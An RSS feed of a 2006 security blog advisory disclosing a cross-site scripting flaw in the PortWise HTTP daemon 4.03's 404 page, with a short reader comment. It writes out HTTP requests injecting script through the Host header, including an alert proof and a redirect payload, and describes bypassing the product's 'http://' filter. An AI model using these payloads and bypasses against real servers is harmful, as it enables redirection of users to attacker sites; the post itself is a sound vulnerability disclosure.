<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/css" href="/stylesheets/rss.css"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
  <channel>
    <title>ClearNet Security: Cross Site Scripting possible in PortWise HTTP deamon</title>
    <link>http://blog.clearnetsec.com/articles/2006/09/22/cross-site-scripting-possible-in-portwise-http-deamon</link>
    <language>en-us</language>
    <ttl>40</ttl>
    <description></description>
    <item>
      <title>Cross Site Scripting possible in PortWise HTTP deamon</title>
      <description>&lt;html&gt;

&lt;head&gt;
&lt;meta http-equiv=Content-Type content="text/html; charset=windows-1252"&gt;
&lt;meta name=Generator content="Microsoft Word 11 (filtered)"&gt;
&lt;title&gt;Overskrift&lt;/title&gt;
&lt;style&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:Arial;}
p.MsoHeader, li.MsoHeader, div.MsoHeader
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:Arial;}
p.MsoFooter, li.MsoFooter, div.MsoFooter
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:Arial;}
 /* Page Definitions */
 @page Section1
	{size:595.3pt 841.9pt;
	margin:70.9pt 70.9pt 70.9pt 70.9pt;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;

&lt;/head&gt;

&lt;body lang=EN-GB&gt;

&lt;div class=Section1&gt;


&lt;p class=MsoNormal&gt;&lt;b&gt;Abstract&lt;/b&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;During a penetration test, it was found that the PortWise
HTTP deamon has a security flaw that allows Cross Site Scripting (CSS) on the
default 404 page. &lt;/p&gt;

&lt;p class=MsoNormal&gt;The affected version nr. is 4.03 (and presumably anything
lower). Based on this research, PortWise has now issued a new version (4.04)
that is confirmed not to be vulnerable.&lt;/p&gt;


&lt;p class=MsoNormal&gt;Below is a very simple step-by-step of the vulnerability.&lt;/p&gt;
&lt;p class=MsoNormal&gt;&amp;nbsp;&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;b&gt;Details&lt;/b&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;If a normal HTTP GET request is sent to the server
requesting a page that is not available, a standard 404 error page is returned.
&lt;/p&gt;

&lt;p class=MsoNormal&gt;However, if the GET request HOST attribute is modified like
this:&lt;/p&gt;


&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;GET
/RandomPage.html HTTP/1.0&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Connection:
Close&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New";
color:red'&gt;Host: ANY DATA WRITTEN IN THE HOST FIELD WILL BE SHOWN HERE&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;User-Agent:
Mozilla/4.0 (compatible; MSIE 6.0;)&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Pragma:
no-cache&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Cookie:
&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;PortWise will return an error page where the host attribute
contents are listed on the page. An example output is shown below:&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;img width=349 height=311 src="http://blog.clearnetsec.com/files/PortWise_1.jpg"&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;This is important because it shows that the page will
display whatever is written in the HOST field of the GET request. The next step
is to try to include scripting code into the HOST field. The simplest form
looks like this:&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;GET
/RandomPage.html HTTP/1.0&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Connection:
Close&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New";
color:red'&gt;Host: &amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;User-Agent:
Mozilla/4.0 (compatible; MSIE 6.0;)&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span lang=DA style='font-family:
"Courier New"'&gt;Pragma: no-cache&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span lang=DA style='font-family:
"Courier New"'&gt;Cookie: &lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;This will give the following output:&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;img width=328 height=292 src="http://blog.clearnetsec.com/files/PortWise_2.jpg"&gt;&lt;/p&gt;


&lt;p class=MsoNormal&gt;This shows that we are able to execute script code through
this exploit. An obvious next step would be to see if it is possible to run
script code that will redirect the user away from the true website server to a
server of our choice. The GET request would look like this:&lt;/p&gt;


&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;GET
/RandomPage.html HTTP/1.0&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Connection:
Close&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New";
color:red'&gt;Host:
&amp;lt;script&amp;gt;window.location=&#8221;//www.thawte.com/&#8221;;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;User-Agent:
Mozilla/4.0 (compatible; MSIE 6.0;)&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Pragma:
no-cache&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-left:42.55pt'&gt;&lt;span style='font-family:"Courier New"'&gt;Cookie:&lt;/span&gt;
&lt;/p&gt;

&lt;p class=MsoNormal&gt;The reason the location is chosen to be &#8220;//www.thawte.com/&#8221;
and not &#8220;http://www.thawte.com/&#8221; is that PortWise actually identifies attempts
to use the phrase &#8220;http://&#8221; and disables such attempts. Because Internet
Explorer is designed to translate &#8220;//&#8221; to &#8220;http://&#8221; it is easy to bypass this
feature. One could have used all possible combinations and character sets such
as hex and unicode as well to bypass this.&lt;/p&gt;


&lt;p class=MsoNormal&gt;The redirection works as well, and will be completely
transparent to the user. If the original page was on an HTTPS connection, it is
a good idea to redirect to another HTTPS page since the user won&#8217;t be prompted
to accept a switch between a secure and insecure site. &lt;/p&gt;

&lt;p class=MsoNormal&gt;As it is seen, this is a very simple attack. However, based
on the lack of input validation by PortWise, a full analysis of the PortWise
system should be initiated in order to identify other potential input
validation flaws in the system. &lt;/p&gt;

&lt;p class=MsoNormal&gt;&amp;nbsp;&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;PortWise customers should upgrade to at least version 4.04.&lt;/p&gt;

&lt;p class=MsoNormal&gt;&amp;nbsp;&lt;/p&gt;

&lt;/div&gt;

&lt;/body&gt;

&lt;/html&gt;


</description>
      <pubDate>Fri, 22 Sep 2006 05:23:00 -0600</pubDate>
      <guid isPermaLink="false">urn:uuid:51ba009d-1729-416b-84f2-14ff4f20d5bc</guid>
      <author>soren@maigaard.com (S&#248;ren Maigaard)</author>
      <link>http://blog.clearnetsec.com/articles/2006/09/22/cross-site-scripting-possible-in-portwise-http-deamon</link>
    </item>
    <item>
      <title>"Cross Site Scripting possible in PortWise HTTP deamon" by McEye</title>
      <description>&lt;p&gt;;O)&lt;/p&gt;</description>
      <pubDate>Tue, 03 Oct 2006 07:14:06 -0600</pubDate>
      <guid isPermaLink="false">urn:uuid:727b96b8-5e25-4e6c-99d6-4aaf75bc243f</guid>
      <link>http://blog.clearnetsec.com/articles/2006/09/22/cross-site-scripting-possible-in-portwise-http-deamon#comment-3</link>
    </item>
  </channel>
</rss>
